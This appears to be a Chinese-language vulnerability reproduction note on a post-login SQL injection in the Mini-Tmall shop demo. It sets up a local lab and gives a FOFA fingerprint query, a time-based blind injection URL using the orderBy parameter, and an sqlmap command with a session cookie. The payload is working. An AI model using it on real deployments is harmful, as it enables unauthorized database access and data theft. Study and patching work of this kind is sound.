免责申明:本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与本平台和发布者无关!!!

漏洞名称

Mini-Tmall SQL注入漏洞

漏洞影响

<=20231017版本

漏洞描述

Mini-Tmall是一个基于Spring Boot的迷你天猫商城。Mini-Tmall在20231017版本及之前存在一个严重的漏洞,攻击者可以利用该漏洞通过远程执行特定操作来注入恶意SQL语句,从而获取敏感信息或控制数据库。此漏洞影响文件?r=tmall/admin/user/1/1的一些未知处理,攻击者可以通过篡改orderBy参数来达成sql注入攻击。攻击者可以通过远程方式发起攻击。

环境搭建

1.项目使用IntelliJ IDEA开发,请使用IntelliJ IDEA的版本控制检出功能,输入“https://gitee.com/project_team/Tmall_demo.git”拉取项目即可。

2.项目数据库为MySQL 5.7版本,在sqls文件夹中找到SQL文件并导入到数据库中。直接运行脚本即可,会自动创建库和表


3.使用IDEA打开项目后,在maven面板刷新项目,下载依赖包。然后修改下数据库密码信息


4.配置数据库连接并启动SpringBootApplication即可。


前台地址:http://localhost:8080/tmall


后台地址:http://localhost:8080/tmall/admin

FOFA搜索语句

icon_hash="-2087517259"

漏洞复现

POC:

http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

登录后在浏览器访问上面的url会延迟3秒,表示存在漏洞。

这个漏洞先需要登录后台拿到cookie

使用sqlmap跑一下,获取当前数据库名称

sqlmap -u http://localhost:8080/tmall/admin/user/1/1?orderBy=* --level=5 --current-db --cookie="username=admin; JSESSIONID=56AEDFB42C10096BD3E6CD80398EC94C"

漏洞复现成功

因为需要登录,就不写nuclei POC了

修复建议

升级到最新版本。